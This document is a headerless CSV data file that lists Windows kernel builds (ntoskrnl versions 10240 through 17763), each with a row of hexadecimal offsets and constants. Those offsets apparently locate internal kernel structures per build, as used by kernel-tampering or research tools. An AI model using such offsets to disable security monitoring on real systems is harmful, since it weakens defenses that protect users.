ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50
|
||||
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50
|
||||
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50
|
||||
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50
|
||||
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50
|
||||
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50
|
||||
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||
ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50
|
||||
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50
|
||||
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50
|
||||
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50
|
||||
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50
|
||||
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50
|
||||
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50
|
||||
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50
|
||||
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50
|
||||
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50
|
||||
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
|
||||
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50
|
||||
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50
|
||||
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50
|
||||
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50
|
||||
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50
|
||||
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50
|
||||
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50
|
||||
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50
|
||||
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50
|
||||
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50
|
||||
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50
|
||||
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
|
||||
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
|
||||
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50
|
||||
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50
|
||||
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50
|
||||
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
|
||||
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
|
||||
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50
|
||||
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50
|
||||
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50
|
||||
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50
|
||||
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
|
||||
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
|
||||
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50
|
||||
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
|
||||
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
|
||||
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50
|
||||
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50
|
||||
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50
|
||||
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50
|
||||
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||
ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
|
||||
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50
|
||||
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
|
||||
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
|
||||
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
|
||||
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50
|
||||
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50
|
||||
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50
|
||||
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50
|
||||
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50
|
||||
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50
|
||||
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50
|
||||
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
|
||||
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
|
||||
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50
|
||||
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
|
||||
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
|
||||
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50
|
||||
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50
|
||||
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50
|
||||
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50
|
||||
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50
|
||||
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
|
||||
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
|
||||
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50
|
||||
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50
|
||||
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
|
||||
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
|
||||
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
|
||||
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
|
||||
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50
|
||||
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50
|
||||
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50
|
||||
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||
ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
|
||||
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
|
||||
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
|
||||
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
|
||||
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
|
||||
ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
|
||||
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50
|
||||
ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50
|
||||
ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50
|
||||
ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50
|
||||
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
|
||||
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
|
||||
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50
|
||||
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60
|
||||
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
|
||||
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
|
||||
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60
|
||||
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50
|
||||
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
|
||||
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
|
||||
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
|
||||
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
|
||||
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
|
||||
ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
|
||||
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
|
||||
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
|
||||
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60
|
||||
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
|
||||
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
|
||||
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
|
||||
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
|
||||
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
|
||||
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
|
||||
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50
|
||||
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50
|
||||
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50
|
||||
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50
|
||||
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
|
||||
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
|
||||
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50
|
||||
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50
|
||||
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50
|
||||
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50
|
||||
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50
|
||||
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50
|
||||
